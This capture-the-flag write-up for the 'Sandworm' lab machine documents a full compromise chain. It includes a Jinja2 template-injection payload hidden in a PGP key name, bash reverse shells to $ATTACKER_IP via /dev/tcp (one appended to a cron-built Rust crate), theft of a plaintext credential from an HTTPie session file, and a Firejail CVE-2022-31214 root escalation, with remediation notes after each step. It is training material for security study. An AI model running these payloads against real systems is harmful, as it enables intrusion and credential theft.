Sandworm
Summary
I discovered the internal 'SSA / Secret Spy Agency' web application behind the ssa.htb virtual host and found that its PGP signature-verification feature rendered the submitted key's owner name through a server-side Jinja2 template, allowing remote code execution as the low-privileged user atlas inside a locked-down Firejail sandbox. From within the sandbox, a plaintext credential left in an HTTPie session file for the user silentobserver allowed me to SSH out of the jail entirely and capture user.txt.
Back on the host, a group-writable local Rust crate consumed by a root-scheduled cron job let me inject code that executed as atlas outside the sandbox, gaining membership in the 'jailer' group. That group membership, combined with a vulnerable, SUID-root Firejail binary (CVE-2022-31214), gave me a path to join another user's sandbox namespace and escalate directly to root.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
Identify open ports and service banners.
$ nmap -sC -sV -p22,80,443 $TARGETResolve the vhost served by nginx on 80/443.
$ echo "$TARGET ssa.htb" | sudo tee -a /etc/hostsLocate the PGP verify-signature demo page.
$ curl -sSk https://ssa.htb/guideExact commands 6
Base64-encode the reverse shell since '<' and '>' are rejected by the Real Name field.
$ echo "bash -i >& /dev/tcp/$ATTACKER_IP/443 0>&1" | base64Real Name = {{ namespace.__init__.__globals__.os.popen('echo <B64_PAYLOAD> | base64 -d | bash').read() }}; email rce@ssa.htb; no passphrase.
$ gpg --full-generate-keyProduce a validly signed message (m.txt.asc).
$ echo test > m.txt && gpg --clearsign -u rce@ssa.htb m.txtExport the malicious public key.
$ gpg --export -a rce@ssa.htb > pub.keyStart a listener before submitting, to catch the reverse shell.
$ nc -lvnp 443Submit to the verify-signature form; server imports the key and renders the UID through Jinja2, triggering RCE.
$ curl -sSk https://ssa.htb/guide -F 'public_key=@pub.key' -F 'signed_message=@m.txt.asc'FixNever render untrusted input through a server-side template engineCritical
Exact commands 1
Shell builtins remained usable even though ls/cat/id were stripped from PATH; read the saved session credentials.
$ cat /home/atlas/.config/httpie/sessions/localhost_5000/admin.jsonFixStop storing plaintext credentials in per-user config filesHigh
Exact commands 1
Authenticate with the recovered credential and read the flag.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null silentobserver@$TARGET 'id; cat /home/silentobserver/user.txt'
uid=1001(silentobserver) gid=1001(silentobserver)Exact commands 4
Log in with the recovered credential (outside the jail).
$ ssh silentobserver@$TARGETConfirm the file is group-writable by silentobserver.
$ ls -l /opt/crates/logger/src/lib.rsAppend a reverse-shell call; keep the original log() body intact and re-save it repeatedly to win the race against a periodic cleanup/restore job.
$ cat >> /opt/crates/logger/src/lib.rs <<EOF
pub fn _bg() { use std::process::Command; Command::new("bash").arg("-c").arg("bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1").output().ok(); }
EOFCatch the shell when the ~2-minute cron rebuilds and runs the crate as atlas.
$ nc -lvnp 4444FixLock down permissions on source trees consumed by scheduled/privileged buildsCritical
Exact commands 5
Confirm SUID-root, group 'jailer', consistent with CVE-2022-31214 (fixed in 0.9.70).
$ stat -c '%A %U %G %n' /usr/local/bin/firejailRun in one atlas session; prints a 'firejail --join=<PID>' command and opens a short exploitation window.
$ python3 firejoin.pyRun in a second atlas session within the printed window.
$ firejail --join=<PID>Inside the joined namespace, switch to root with no password due to the vulnerability.
$ su -Read the root flag — value redacted here as <root.txt>.
$ cat /root/root.txtFixPatch Firejail and remove unnecessary SUID/group privilegesCritical
find / -perm -4000 for unexpected SUID binaries and their group ownership.Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Server-Side Template InjectionWebT1190
What it is
When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.
Why it works
The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
| 443/tcp | ssl/http nginx 1.18.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.